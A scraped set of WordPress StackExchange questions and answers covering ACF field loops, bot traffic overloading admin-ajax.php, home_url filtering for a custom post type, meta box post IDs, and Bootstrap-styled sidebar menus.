Sometimes with Wordpress, I find myself writing long if/else chains to see if a field (a field I've created in advanced custom fields for example) exists, for example: ``` $imagen1 = get_field("imagen1"); $imagen2 = get_field("imagen2"); $imagen3 = get_field("imagen3"); $imagen4 = get_field("imagen4"); $imagen5 = get_field("imagen5"); <?php if ( $imagen1 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen1['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen2 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen2['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen3 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen3['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen4 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen4['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen5 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen5['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> ``` I have seen this in a few webpages that I have inherited as well. It is not very effective as there is a limit in the amount of fields you can display since you have to add a new if chain everytime a new field is added. Can this be replaced with a loop? And if so, how would you write it?
There is no hard limit, but when you have many fields (I'm talking hundreds or thousands, not dozens), you might run into limits on execution time on your host. In this case, I'd do something like this to turn it into a loop if you don't need specific HTML. ``` foreach(range(1, 5, 1) as $imageNumber) { if ( $image = get_field("imagen" . $imageNumber) ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $image['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } } ``` You could still do specific HTML with this using [switch](http://au2.php.net/manual/control-structures.switch.php), but I usually stop putting things into the same loop when I find them different enough that they need to get very different HTML.
282,814
<p>I experienced that my server received a 99% CPU load and the site goes almost down.</p> <p>Checked the access log file and there are tons of following entries:</p> <pre><code>203.115.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 212.92.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 218.29.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 104.130.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 176.123.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 45.115.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 212.92.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 31.179.XXX.XXX - - [13/Oct/2017:12:40:04 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 61.5.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 201.59.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 </code></pre> <p>Within a few hours, almost 800 single requests of the same IPs. This doesn't seem natural to me. Additionally according to analytics, there are not that many users on the page when this happens.</p> <p>So it seems that the hit come from outside and impacting my servers power.</p> <p>When blocking access to the admin-ajax.php file via htaccess, the cpu load is back to 1-3% and everything is fine.</p> <h3>My question:</h3> <p>Is there a way to <strong>block these spamming requests to the admin-ajax.php</strong> file which come from &quot;outside&quot; <strong>and only allow installed plugins/theme to access the admin-ajax.php file instead</strong>?</p> <h3>Update</h3> <p>It really seems like my site got spammed by some bots/servers.</p> <p>Tried several things like Cloudflare, different hosting etc. The only thing which helped was using <a href="https://www.dpbolvw.net/click-9244267-13942194" rel="nofollow noreferrer">Sucuri</a> as Website Firewall which blocks everything.</p>
[ { "answer_id": 282821, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 0, "selected": false, "text": "<p>There is no magic bullet, I'm afraid. If you're too careful in blocking, you won't hit them, if you're not car...
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282814", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48490/" ]
I experienced that my server received a 99% CPU load and the site goes almost down. Checked the access log file and there are tons of following entries: ``` 203.115.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 212.92.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 218.29.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 104.130.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 176.123.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 45.115.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 212.92.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 31.179.XXX.XXX - - [13/Oct/2017:12:40:04 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 61.5.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 201.59.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 ``` Within a few hours, almost 800 single requests of the same IPs. This doesn't seem natural to me. Additionally according to analytics, there are not that many users on the page when this happens. So it seems that the hit come from outside and impacting my servers power. When blocking access to the admin-ajax.php file via htaccess, the cpu load is back to 1-3% and everything is fine. ### My question: Is there a way to **block these spamming requests to the admin-ajax.php** file which come from "outside" **and only allow installed plugins/theme to access the admin-ajax.php file instead**? ### Update It really seems like my site got spammed by some bots/servers. Tried several things like Cloudflare, different hosting etc. The only thing which helped was using [Sucuri](https://www.dpbolvw.net/click-9244267-13942194) as Website Firewall which blocks everything.
No there isn't a way, any more than there is a way to block "spammers" from accessing you home page. I mean you could put all kind of checks, but in the end you will break how sites are supposed to behave which will mean that someone somewhere will not get his content. If all you have is a blog maybe you just do not care as long as your friends and family can read it, but if you actually generate money with your site you might care more. Instead of looking at logs you should ask yourself how come a request that should do nothing except for bootstraping wordpress is bringing down your site. If you run php 7+ and object cache the cpu cost of handling a "spammy" request should be close to zero. So either you should upgrade your server side to better gandle traffic, or you have a targeted attack against a specific plugin which tries to exploit its ajax handler, in which case identifying the target of the attack should be top priority. While an attack is unlikely, it still might make sense to change your log to show the payload of the request.
282,827
<p>I would like to change the home_url for a custom post type that I have created. </p> <p>The reason I would like to change the home_url is so that the site logo then links to a different URL when someone is viewing a custom post. </p> <p>The custom post type is named 'usa', therefore I want to change the logo / home url to link to mysite.com/usa/ </p> <p>I have used the code below to achieve this, however I get errors because other links that make use of home_url, such as menu links, then have 'usa' appended to them, e.g mysite.com/usa/example-post/usa/ </p> <p>Does someone know a better implementation? </p> <pre><code>add_filter( 'home_url', 'custom_home_url' ); function custom_home_url( $url ) { if( is_singular('us') ) return $url .'/usa'; else { return $url; } } </code></pre>
[ { "answer_id": 282828, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>Your filter generally seems fine.</p>\n\n<p>I'd probably filter <code>option_home</code> instead of <code>home...
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282827", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102297/" ]
I would like to change the home\_url for a custom post type that I have created. The reason I would like to change the home\_url is so that the site logo then links to a different URL when someone is viewing a custom post. The custom post type is named 'usa', therefore I want to change the logo / home url to link to mysite.com/usa/ I have used the code below to achieve this, however I get errors because other links that make use of home\_url, such as menu links, then have 'usa' appended to them, e.g mysite.com/usa/example-post/usa/ Does someone know a better implementation? ``` add_filter( 'home_url', 'custom_home_url' ); function custom_home_url( $url ) { if( is_singular('us') ) return $url .'/usa'; else { return $url; } } ```
Your filter generally seems fine. I'd probably filter `option_home` instead of `home_url`, but it results in the same thing for most use cases (`bloginfo("home")` will work and so will `get_home_url()`, but `get_option("home")` will only work correctly with `option_home`).
282,833
<p>I trying to get the ID of the post on edit page but its displaying the wrong ID</p> <p><a href="https://i.stack.imgur.com/WIwY8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WIwY8.png" alt="Wrong post ID"></a></p> <p>Custom Post:</p> <pre><code>register_post_type( 'projetos', array( 'description' =&gt; 'Projetos do Scan' ,'exclude_from_search' =&gt; false ,'public' =&gt; true ,'publicly_queryable' =&gt; true ,'show_ui' =&gt; true ,'show_in_menu' =&gt; true ,'query_var' =&gt; true ,'rewrite' =&gt; array( 'slug' =&gt; 'projeto' ) ,'capability_type' =&gt; 'post' ,'has_archive' =&gt; true ,'menu_position' =&gt; 20 ,'supports' =&gt; array( 'title', 'editor' ) ,'hierarchical' =&gt; true ,'labels' =&gt; array( 'name' =&gt; _x( 'Projetos', 'post type general name', 'Projetos do Scan' ), 'singular_name' =&gt; _x( 'Projeto', 'post type singular name', 'Projetos do Scan' ), 'menu_name' =&gt; _x( 'Projetos', 'admin menu', 'Projetos do Scan' ), 'name_admin_bar' =&gt; _x( 'Projeto', 'add new on admin bar', 'Projetos do Scan' ), 'add_new' =&gt; _x( 'Adicionar Novo', 'foto', 'Projetos do Scan' ), 'add_new_item' =&gt; __( 'Adicionar Novo Projeto', 'Projetos do Scan' ), 'new_item' =&gt; __( 'Novo Projeto', 'Projetos do Scan' ), 'edit_item' =&gt; __( 'Editar Projeto', 'Projetos do Scan' ), 'view_item' =&gt; __( 'Ver Projeto', 'Projetos do Scan' ), 'all_items' =&gt; __( 'Todos os Projetos', 'Projetos do Scan' ), 'search_items' =&gt; __( 'Buscar Projetos', 'Projetos do Scan' ), 'parent_item_colon' =&gt; __( 'Projetos:', 'Projetos do Scan' ), 'not_found' =&gt; __( 'Nenhum projeto encontrado.', 'Projetos do Scan' ), 'not_found_in_trash' =&gt; __( 'Nenhum projeto encontrado na lixeira.', 'Projetos do Scan' ) ) ,'menu_icon' =&gt; 'dashicons-clipboard' ,'register_meta_box_cb' =&gt; 'projetos_meta_box' // adicionar meta boxes e remover meta boxes neste callback ) ); </code></pre> <p>Callback:</p> <pre><code>function projetos_meta_box() { add_meta_box('projetos_info_meta_box', 'Informações', 'render_projetos_info_meta_box', 'projetos', 'side', 'default'); add_meta_box('projetos_imagens_meta_box', 'Imagens', 'render_projetos_imagens_meta_box', 'projetos', 'normal', 'default'); add_meta_box('projetos_capitulos_meta_box', 'Capítulos', 'render_projetos_capitulos_meta_box', 'projetos', 'normal', 'default'); </code></pre> <p>}</p> <p><strong>and here's the problem</strong></p> <pre><code>function render_projetos_imagens_meta_box( $post ) { global $post; wp_nonce_field( 'projetos_imagens_meta_box', 'projetos_imagens_meta_box'); $imagens_projeto = json_decode( get_post_meta( $post-&gt;ID, 'imagens_projeto', true ) ); ob_start(); ?&gt; &lt;?php echo var_dump($post); ?&gt; &lt;div style="margin-top: 10px;"&gt; &lt;button type="button" id="btn_add_img" class="button button-primary button-large"&gt;Adicionar&lt;/button&gt; &lt;/div&gt; &lt;ul class="attachments-projeto"&gt; &lt;?php if( !empty( $imagens_projeto ) ) : foreach( $imagens_projeto as $img_pjt ) : ?&gt; &lt;li&gt; &lt;button data-id="&lt;?php echo $img_pjt-&gt;id; ?&gt;" type="button" class="btn_remover_img"&gt; &lt;span class="dashicons dashicons-trash"&gt;&lt;/span&gt; &lt;/button&gt; &lt;img alt="&lt;?php echo $img_pjt-&gt;title; ?&gt;" src="&lt;?php echo $img_pjt-&gt;url; ?&gt;" /&gt; &lt;/li&gt; &lt;?php endforeach; endif; ?&gt; &lt;/ul&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;input type="hidden" id="imagens_projeto" name="imagens_projeto" value="&lt;?php echo get_post_meta( $post-&gt;ID, 'imagens_projeto', true ); ?&gt;" /&gt; &lt;?php echo ob_get_clean(); </code></pre> <p>}</p>
[ { "answer_id": 282850, "author": "L.Milo", "author_id": 129596, "author_profile": "https://wordpress.stackexchange.com/users/129596", "pm_score": 1, "selected": false, "text": "<p>If you remove the line <code>global $post;</code> (and really you should remove it), there is no reason this...
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282833", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129590/" ]
I trying to get the ID of the post on edit page but its displaying the wrong ID [![Wrong post ID](https://i.stack.imgur.com/WIwY8.png)](https://i.stack.imgur.com/WIwY8.png) Custom Post: ``` register_post_type( 'projetos', array( 'description' => 'Projetos do Scan' ,'exclude_from_search' => false ,'public' => true ,'publicly_queryable' => true ,'show_ui' => true ,'show_in_menu' => true ,'query_var' => true ,'rewrite' => array( 'slug' => 'projeto' ) ,'capability_type' => 'post' ,'has_archive' => true ,'menu_position' => 20 ,'supports' => array( 'title', 'editor' ) ,'hierarchical' => true ,'labels' => array( 'name' => _x( 'Projetos', 'post type general name', 'Projetos do Scan' ), 'singular_name' => _x( 'Projeto', 'post type singular name', 'Projetos do Scan' ), 'menu_name' => _x( 'Projetos', 'admin menu', 'Projetos do Scan' ), 'name_admin_bar' => _x( 'Projeto', 'add new on admin bar', 'Projetos do Scan' ), 'add_new' => _x( 'Adicionar Novo', 'foto', 'Projetos do Scan' ), 'add_new_item' => __( 'Adicionar Novo Projeto', 'Projetos do Scan' ), 'new_item' => __( 'Novo Projeto', 'Projetos do Scan' ), 'edit_item' => __( 'Editar Projeto', 'Projetos do Scan' ), 'view_item' => __( 'Ver Projeto', 'Projetos do Scan' ), 'all_items' => __( 'Todos os Projetos', 'Projetos do Scan' ), 'search_items' => __( 'Buscar Projetos', 'Projetos do Scan' ), 'parent_item_colon' => __( 'Projetos:', 'Projetos do Scan' ), 'not_found' => __( 'Nenhum projeto encontrado.', 'Projetos do Scan' ), 'not_found_in_trash' => __( 'Nenhum projeto encontrado na lixeira.', 'Projetos do Scan' ) ) ,'menu_icon' => 'dashicons-clipboard' ,'register_meta_box_cb' => 'projetos_meta_box' // adicionar meta boxes e remover meta boxes neste callback ) ); ``` Callback: ``` function projetos_meta_box() { add_meta_box('projetos_info_meta_box', 'Informações', 'render_projetos_info_meta_box', 'projetos', 'side', 'default'); add_meta_box('projetos_imagens_meta_box', 'Imagens', 'render_projetos_imagens_meta_box', 'projetos', 'normal', 'default'); add_meta_box('projetos_capitulos_meta_box', 'Capítulos', 'render_projetos_capitulos_meta_box', 'projetos', 'normal', 'default'); ``` } **and here's the problem** ``` function render_projetos_imagens_meta_box( $post ) { global $post; wp_nonce_field( 'projetos_imagens_meta_box', 'projetos_imagens_meta_box'); $imagens_projeto = json_decode( get_post_meta( $post->ID, 'imagens_projeto', true ) ); ob_start(); ?> <?php echo var_dump($post); ?> <div style="margin-top: 10px;"> <button type="button" id="btn_add_img" class="button button-primary button-large">Adicionar</button> </div> <ul class="attachments-projeto"> <?php if( !empty( $imagens_projeto ) ) : foreach( $imagens_projeto as $img_pjt ) : ?> <li> <button data-id="<?php echo $img_pjt->id; ?>" type="button" class="btn_remover_img"> <span class="dashicons dashicons-trash"></span> </button> <img alt="<?php echo $img_pjt->title; ?>" src="<?php echo $img_pjt->url; ?>" /> </li> <?php endforeach; endif; ?> </ul> <div class="clearfix"></div> <input type="hidden" id="imagens_projeto" name="imagens_projeto" value="<?php echo get_post_meta( $post->ID, 'imagens_projeto', true ); ?>" /> <?php echo ob_get_clean(); ``` }
If you remove the line `global $post;` (and really you should remove it), there is no reason this shouldn't work, according to [the official documentation](https://developer.wordpress.org/reference/functions/add_meta_box/), unless as @rudtek mentioned, you run a custom query somewhere and the `$post` has changed
282,905
<p><strong>Note : Please note that I create this theme to re-sell, so I need little bit good way to add it.</strong></p> <p>This is how I register the menus on my right sidebar:</p> <pre><code>if(function_exists('register_sidebar')){ register_sidebar(array( 'name'=&gt;'sidebar_default', 'before_widget' =&gt; '&lt;div class="panel panel-info"&gt;', 'after_widget' =&gt; '&lt;/div&gt;', 'before_title' =&gt; '&lt;div class="panel-heading"&gt;&lt;h4&gt;', 'after_title' =&gt; '&lt;/h4&gt;&lt;/div&gt;' )); } </code></pre> <p>And this is the output:</p> <pre><code>&lt;div class="panel panel-info"&gt; &lt;div class="panel-heading"&gt; &lt;h4&gt;Title&lt;/h4&gt; &lt;/div&gt; &lt;div class="menu-openings-menu-container"&gt; &lt;ul id="menu-openings-menu" class="menu"&gt; &lt;li id="" class="menu-item-object-page menu-item-381"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-382"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-383"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-384"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-385"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>and this is how do it need the output to be able to use Twitter Bootstrap list-styles styles:</p> <pre><code>&lt;ul class="list-group"&gt; &lt;li class="list-group-item"&gt;Cras justo odio&lt;/li&gt; &lt;li class="list-group-item"&gt;Dapibus ac facilisis in&lt;/li&gt; &lt;li class="list-group-item"&gt;Morbi leo risus&lt;/li&gt; &lt;li class="list-group-item"&gt;Porta ac consectetur ac&lt;/li&gt; &lt;li class="list-group-item"&gt;Vestibulum at eros&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>I appreciate all suggestions. Thanks.</p> <p><img src="https://i.stack.imgur.com/qDuDi.png" alt="output"></p> <p><img src="https://i.stack.imgur.com/F1Xxd.png" alt="Source code"></p>
[ { "answer_id": 282908, "author": "IXN", "author_id": 80031, "author_profile": "https://wordpress.stackexchange.com/users/80031", "pm_score": 1, "selected": false, "text": "<p>If you are dealing with just one site and not creating a theme maybe the easiest solution is to do it \"manually\...
2017/10/14
[ "https://wordpress.stackexchange.com/questions/282905", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/56652/" ]
**Note : Please note that I create this theme to re-sell, so I need little bit good way to add it.** This is how I register the menus on my right sidebar: ``` if(function_exists('register_sidebar')){ register_sidebar(array( 'name'=>'sidebar_default', 'before_widget' => '<div class="panel panel-info">', 'after_widget' => '</div>', 'before_title' => '<div class="panel-heading"><h4>', 'after_title' => '</h4></div>' )); } ``` And this is the output: ``` <div class="panel panel-info"> <div class="panel-heading"> <h4>Title</h4> </div> <div class="menu-openings-menu-container"> <ul id="menu-openings-menu" class="menu"> <li id="" class="menu-item-object-page menu-item-381"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-382"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-383"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-384"><a href="">Software</a></li> <li id="" class="menu-item-object-page menu-item-385"><a href="">Software</a></li> </ul> </div> </div> ``` and this is how do it need the output to be able to use Twitter Bootstrap list-styles styles: ``` <ul class="list-group"> <li class="list-group-item">Cras justo odio</li> <li class="list-group-item">Dapibus ac facilisis in</li> <li class="list-group-item">Morbi leo risus</li> <li class="list-group-item">Porta ac consectetur ac</li> <li class="list-group-item">Vestibulum at eros</li> </ul> ``` I appreciate all suggestions. Thanks. ![output](https://i.stack.imgur.com/qDuDi.png) ![Source code](https://i.stack.imgur.com/F1Xxd.png)
If you are dealing with just one site and not creating a theme maybe the easiest solution is to do it "manually". It is not the most "professional" way to do it, but it works. Take a text widget or the new html widget, paste your code, for example: ``` <ul class="list-group"> <li class="list-group-item">Cras justo odio</li> <li class="list-group-item">Dapibus ac facilisis in</li> <li class="list-group-item">Morbi leo risus</li> <li class="list-group-item">Porta ac consectetur ac</li> <li class="list-group-item">Vestibulum at eros</li> </ul> ``` and make the changes (to the links) manually.
282,918
<pre><code>if( ! is_user_logged_in() &amp;&amp; ( in_category( 'test2' ) || in_category( 'test1' ) ) &amp;&amp; ( current_time( 'Y-m-d' ) &lt;= get_the_date( 'Y-m-d', strtotime('+3 days') ) ) ){ echo 'sorry'; } else { the_content(); } </code></pre> <p>my code in single.php loop. but not working. can i help anyone?</p>
[ { "answer_id": 282925, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 2, "selected": true, "text": "<p>Unfortunately, no. For something like that to work, WordPress (or some plugin to do that) would need ...
2017/10/14
[ "https://wordpress.stackexchange.com/questions/282918", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129634/" ]
``` if( ! is_user_logged_in() && ( in_category( 'test2' ) || in_category( 'test1' ) ) && ( current_time( 'Y-m-d' ) <= get_the_date( 'Y-m-d', strtotime('+3 days') ) ) ){ echo 'sorry'; } else { the_content(); } ``` my code in single.php loop. but not working. can i help anyone?
Unfortunately, no. For something like that to work, WordPress (or some plugin to do that) would need to scan themes folder for changes, and that can be performance intensive operation. Maybe with some sort of scheduled scan running every few minutes. I am not aware of any plugin that can do that.